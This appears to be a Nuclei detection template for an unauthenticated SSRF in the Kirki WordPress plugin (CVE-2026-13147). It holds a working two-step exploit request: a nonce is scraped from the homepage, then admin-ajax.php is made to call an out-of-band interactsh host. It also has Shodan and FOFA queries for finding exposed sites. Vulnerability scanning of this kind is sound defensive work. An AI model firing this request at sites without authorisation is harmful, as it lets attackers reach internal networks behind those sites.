Description
Kirki WordPress plugin < 6.0.12 contains a server-side request forgery caused by lack of URL validation, letting unauthenticated attackers make the site issue HTTP requests to arbitrary hosts, exploit requires no authentication.
Kirki WordPress plugin < 6.0.12 contains a server-side request forgery caused by lack of URL validation, letting unauthenticated attackers make the site issue HTTP requests to arbitrary hosts, exploit requires no authentication.
id: CVE-2026-13147
info:
name: WordPress Kirki < 6.0.12 - Server-Side Request Forgery
author: 0x_Akoko
severity: high
description: |
Kirki WordPress plugin < 6.0.12 contains a server-side request forgery caused by lack of URL validation, letting unauthenticated attackers make the site issue HTTP requests to arbitrary hosts, exploit requires no authentication.
impact: |
Unauthenticated attackers can make the server send HTTP requests to arbitrary hosts, potentially leading to internal network access or data exposure.
remediation: |
Update to version 6.0.12 or later.
reference:
- https://wpscan.com/vulnerability/kirki-ssrf
- https://nvd.nist.gov/vuln/detail/CVE-2026-13147
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-13147
epss-score: 0.00912
epss-percentile: 0.58263
cwe-id: CWE-918
metadata:
verified: true
max-request: 2
vendor: developer-developer
product: kirki
framework: wordpress
publicwww-query: "/wp-content/plugins/kirki/"
shodan-query: http.html:"/wp-content/plugins/kirki/"
fofa-query: body="/wp-content/plugins/kirki/"
tags: cve,cve2026,wordpress,wp-plugin,wp,kirki,ssrf,oast
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'contains(body, "window.wp_kirki")'
internal: true
extractors:
- type: regex
name: nonce
group: 1
internal: true
regex:
- 'nonce:\s*"([a-f0-9]{10})"'
- raw:
- |
GET /wp-admin/admin-ajax.php?action=kirki_get_apis&endpoint=get-pre-built-html&elementUrl=http%3A%2F%2F{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
X-WP-Nonce: {{nonce}}
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
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